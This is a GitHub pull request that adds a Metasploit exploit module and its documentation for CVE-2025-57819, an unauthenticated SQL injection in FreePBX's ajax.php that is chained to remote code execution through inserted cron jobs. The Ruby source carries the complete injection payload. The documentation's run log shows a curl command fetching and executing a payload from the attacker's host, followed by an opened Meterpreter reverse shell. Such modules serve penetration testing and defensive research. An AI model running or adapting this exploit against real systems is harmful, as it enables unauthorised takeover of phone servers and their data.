-
Notifications
You must be signed in to change notification settings - Fork 14.5k
Add FreePBX authenticated SQLi to RCE (CVE-2025-57819) #20559
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Merged
msutovsky-r7
merged 9 commits into
rapid7:master
from
EchoSl0w:freepbx_unauth_sqli_to_rce
Sep 23, 2025
+258
−0
Merged
Changes from all commits
Commits
Show all changes
9 commits
Select commit
Hold shift + click to select a range
19074ee
Add exploit for CVE-2025-57819
EchoSl0w 75c8efb
Update freepbx_unauth_sqli_to_rce.rb
EchoSl0w b54dfdd
Update modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb
EchoSl0w 09207eb
Update freepbx_unauth_sqli_to_rce.rb to account for slow systems
EchoSl0w c0f4efd
Update modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb
EchoSl0w a1973e9
Update freepbx_unauth_sqli_to_rce.rb
EchoSl0w 9c901e7
Merge branch 'freepbx_unauth_sqli_to_rce' of https://github.com/EchoS…
EchoSl0w 6b183ba
Update freepbx_unauth_sqli_to_rce.rb
EchoSl0w b51cc87
Update freepbx_unauth_sqli_to_rce.rb
EchoSl0w File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
115 changes: 115 additions & 0 deletions
115
documentation/modules/exploit/unix/http/freepbx_unauth_sqli_to_rce.md
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,115 @@ | ||
## Vulnerable Application | ||
FreePBX is an open-source web-based graphical user interface. FreePBX 15, 16, and 17 | ||
endpoints are vulnerable due to insufficiently sanitized user-supplied data allowing | ||
unauthenticated access to FreePBX Administrator leading to arbitrary database manipulation | ||
and remote code execution. | ||
This module exploits a vulnerability chain in FreePBX, tracked as CVE-2025-57819. | ||
An authentication bypass exposes unauthenticated access to `/admin/ajax.php`, which | ||
contains a SQL injection flaw. By leveraging this vulnerability, an attacker can | ||
achieve remote code execution through the creation of cron jobs under the `asterisk` | ||
database user context. | ||
|
||
The following FreePBX version has been tested: | ||
|
||
- FreePBX 16.0.33 | ||
|
||
|
||
## Testing | ||
To set up a test environment: | ||
1. Install FreePBX and perform basic minimum setup (prompted by installer). I used proxmox to get a working installation. [Link](https://downloads.freepbxdistro.org/ISO/SNG7-PBX16-64bit-2302-1.iso) | ||
2. Confirm that the web service on port 80/443 is reachable. | ||
3. Follow the verification steps below. | ||
|
||
## Options | ||
No custom options exist for this module. | ||
|
||
## Verification Steps | ||
1. Start msfconsole | ||
2. `use exploit/unix/http/freepbx_unauth_sqli_to_rce` | ||
3. `set RHOSTS <TARGET_IP_ADDRESS>` | ||
4. `set RPORT <TARGET_PORT>` | ||
5. `run` | ||
|
||
## Scenarios | ||
### FreePBX Linux Target | ||
``` | ||
msf exploit(unix/http/freepbx_unauth_sqli_to_rce) > show options | ||
|
||
Module options (exploit/unix/http/freepbx_unauth_sqli_to_rce): | ||
|
||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5, socks5h, http, sapni, socks4 | ||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html | ||
RPORT 80 yes The target port (TCP) | ||
SSL false no Negotiate SSL/TLS for outgoing connections | ||
TARGETURI / no The URI for the FreePBX installation | ||
VHOST no HTTP server virtual host | ||
|
||
|
||
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp): | ||
|
||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, GET, TFTP, TNFTP, WGET) | ||
FETCH_DELETE false yes Attempt to delete the binary after execution | ||
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8 (Accepted: none, bash, python3.8+) | ||
FETCH_SRVHOST no Local IP to use for serving payload | ||
FETCH_SRVPORT 8080 yes Local port to use for serving payload | ||
FETCH_URIPATH no Local URI to use for serving payload | ||
LHOST yes The listen address (an interface may be specified) | ||
LPORT 4444 yes The listen port | ||
|
||
|
||
When FETCH_COMMAND is one of CURL,GET,WGET: | ||
|
||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell. | ||
|
||
|
||
When FETCH_FILELESS is none: | ||
|
||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
FETCH_FILENAME dCIEGUvcv no Name to use on remote system when storing payload; cannot contain spaces or slashes | ||
FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces | ||
|
||
|
||
Exploit target: | ||
|
||
Id Name | ||
-- ---- | ||
0 Unix Command | ||
|
||
|
||
|
||
View the full module info with the info, or info -d command. | ||
|
||
msf exploit(unix/http/freepbx_unauth_sqli_to_rce) > set RHOSTS 192.168.1.116 | ||
RHOSTS => 192.168.1.116 | ||
msf exploit(unix/http/freepbx_unauth_sqli_to_rce) > set LHOST eth0 | ||
LHOST => 192.168.1.65 | ||
msf exploit(unix/http/freepbx_unauth_sqli_to_rce) > set VERBOSE true | ||
VERBOSE => true | ||
msf exploit(unix/http/freepbx_unauth_sqli_to_rce) > run | ||
[*] Command to run on remote host: curl -so ./KjFruDjiGx http://192.168.1.65:8080/V3hgkVKmhAqViDKE6xmupA;chmod +x ./KjFruDjiGx;./KjFruDjiGx& | ||
[*] Fetch handler listening on 192.168.1.65:8080 | ||
[*] HTTP server started | ||
[*] Adding resource /V3hgkVKmhAqViDKE6xmupA | ||
[*] Started reverse TCP handler on 192.168.1.65:4444 | ||
[+] Created cronjob with job name: 'BUQm' | ||
[*] Waiting for cronjob to trigger... | ||
[*] Transmitting intermediate stager...(126 bytes) | ||
[*] Sending stage (3090404 bytes) to 192.168.1.116 | ||
[*] Meterpreter session 1 opened (192.168.1.65:4444 -> 192.168.1.116:39258) at 2025-09-21 16:21:38 -0400 | ||
[*] Attempting to perform cleanup | ||
[+] Cronjob removed, happy hacking! | ||
|
||
meterpreter > sysinfo | ||
Computer : freepbx.sangoma.local | ||
OS : Red Hat 7.8.2003 (Linux 3.10.0-1127.19.1.el7.x86_64) | ||
Architecture : x64 | ||
BuildTuple : x86_64-linux-musl | ||
Meterpreter : x64/linux | ||
``` |
143 changes: 143 additions & 0 deletions
143
modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,143 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Exploit::Remote::HttpClient | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'FreePBX ajax.php unuthenticated SQLi to RCE', | ||
'Description' => %q{ | ||
This module exploits an unauthenticated SQL injection flaw in FreePBX prior to versions 15.0.66, 16.0.89, | ||
and 17.0.3. The vulnerability lies in the /admin/ajax.php endpoint, which is accessible without | ||
authentication. Additionally, the database user created by FreePBX can schedule cronjobs, allowing | ||
remote code execution on the target system. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => [ | ||
'Echo_Slow', # msf module | ||
'Piotr Bazydlo', # POC used as a template | ||
'Sonny' # POC used as a template | ||
], | ||
'References' => [ | ||
['CVE', '2025-57819'], | ||
['URL', 'https://labs.watchtowr.com/you-already-have-our-personal-data-take-our-phone-calls-too-freepbx-cve-2025-57819/'] | ||
], | ||
'Platform' => ['linux'], | ||
'Arch' => ARCH_CMD, | ||
'Targets' => [ | ||
[ | ||
'Unix Command', | ||
{ | ||
'DefaultOptions' => | ||
{ | ||
'Payload' => 'cmd/linux/http/x64/meterpreter/reverse_tcp', | ||
'WfsDelay' => 70 # cronjob may take up to a minute to start | ||
} | ||
} | ||
] | ||
], | ||
'Privileged' => false, | ||
'DisclosureDate' => '2025-08-28', | ||
'DefaultTarget' => 0, | ||
'Notes' => { | ||
'Stability' => [CRASH_SAFE], | ||
'Reliability' => [REPEATABLE_SESSION], | ||
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] | ||
} | ||
) | ||
) | ||
|
||
register_options( | ||
[ | ||
OptString.new( | ||
'TARGETURI', | ||
[false, 'The URI for the FreePBX installation', '/'] | ||
) | ||
] | ||
) | ||
end | ||
|
||
def check | ||
print_status('Checking if vulnerable...') | ||
|
||
res = send_request_cgi( | ||
'method' => 'GET', | ||
'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'), | ||
'vars_get' => { | ||
'module' => 'FreePBX\\modules\\endpoint\\ajax', | ||
'command' => 'model', | ||
'template' => Rex::Text.rand_text_alphanumeric(3..6), | ||
'model' => Rex::Text.rand_text_alphanumeric(3..6), | ||
'brand' => "#{Rex::Text.rand_text_alphanumeric(3..6)}'" | ||
} | ||
) | ||
|
||
if res&.code == 500 && res.body =~ /You have an error in your SQL syntax/ | ||
return Exploit::CheckCode::Vulnerable('Detected SQL injection') | ||
end | ||
|
||
Exploit::CheckCode::Safe('No SQL injection detected, target is patched') | ||
end | ||
|
||
def exploit | ||
module_name = Rex::Text.rand_text_alpha(4..7) | ||
@job_name = Rex::Text.rand_text_alpha(4..7) | ||
|
||
rce_payload = Rex::Text.rand_text_alpha(4..7) | ||
rce_payload << "';INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)" | ||
rce_payload << " VALUES ('#{module_name}','#{@job_name}','#{payload.encoded}',NULL,'* * * * *',30,1,1) -- " | ||
|
||
res = send_request_cgi( | ||
'method' => 'GET', | ||
'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'), | ||
'vars_get' => { | ||
'module' => 'FreePBX\\modules\\endpoint\\ajax', | ||
'command' => 'model', | ||
'template' => Rex::Text.rand_text_alphanumeric(3..6), | ||
'model' => Rex::Text.rand_text_alphanumeric(3..6), | ||
'brand' => rce_payload | ||
} | ||
) | ||
|
||
if res&.code == 500 && res.body =~ /Trying to access array offset on value of type bool/ | ||
print_good("Created cronjob with job name: '#{@job_name}'") | ||
print_status('Waiting for cronjob to trigger...') | ||
else | ||
fail_with(Failure::PayloadFailed, 'Cronjob was not created.') | ||
end | ||
end | ||
|
||
def cleanup | ||
super | ||
|
||
return unless @job_name | ||
|
||
# Remove the created cronjob | ||
res = send_request_cgi( | ||
'method' => 'GET', | ||
'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'), | ||
'vars_get' => { | ||
'module' => 'FreePBX\\modules\\endpoint\\ajax', | ||
'command' => 'model', | ||
'template' => Rex::Text.rand_text_alphanumeric(3..6), | ||
'model' => Rex::Text.rand_text_alphanumeric(3..6), | ||
'brand' => "'; DELETE FROM cron_jobs WHERE jobname=\'#{@job_name}\' -- " | ||
} | ||
) | ||
|
||
print_status('Attempting to perform cleanup') | ||
|
||
if res&.code == 500 && res.body =~ /Trying to access array offset on value of type bool/ | ||
print_good('Cronjob removed, happy hacking!') | ||
else | ||
print_bad('Cronjob not removed, please perform manual cleanup!') | ||
end | ||
end | ||
end |
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Uh oh!
There was an error while loading. Please reload this page.